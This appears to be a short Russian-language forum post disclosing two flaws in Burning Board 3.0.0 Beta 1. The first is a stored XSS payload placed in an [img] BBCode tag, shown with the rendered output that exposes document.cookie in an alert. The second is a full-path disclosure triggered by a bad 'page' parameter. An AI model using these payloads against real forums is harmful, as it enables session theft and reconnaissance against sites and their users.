Вот что я надыбал в Burning Board 3.0.0 Beta 1 1. Активная XSS прямо в сообщении Code: [img]javascript:alert(document.cookie)[/img] заменяеться на Code: <img src="java&[COLOR=White][B]*[/B][/COLOR]#115;cript:alert(document.cookie)" class="resizeImage" alt="" /> и куки у нас в алерте 2. Раскрытие пути При подстановке неверного значения в переменную $_GET["page"] выдаеться сообщение об ошибке Code: index.php?page=Bugaga Можно узнать полный путь к форуму
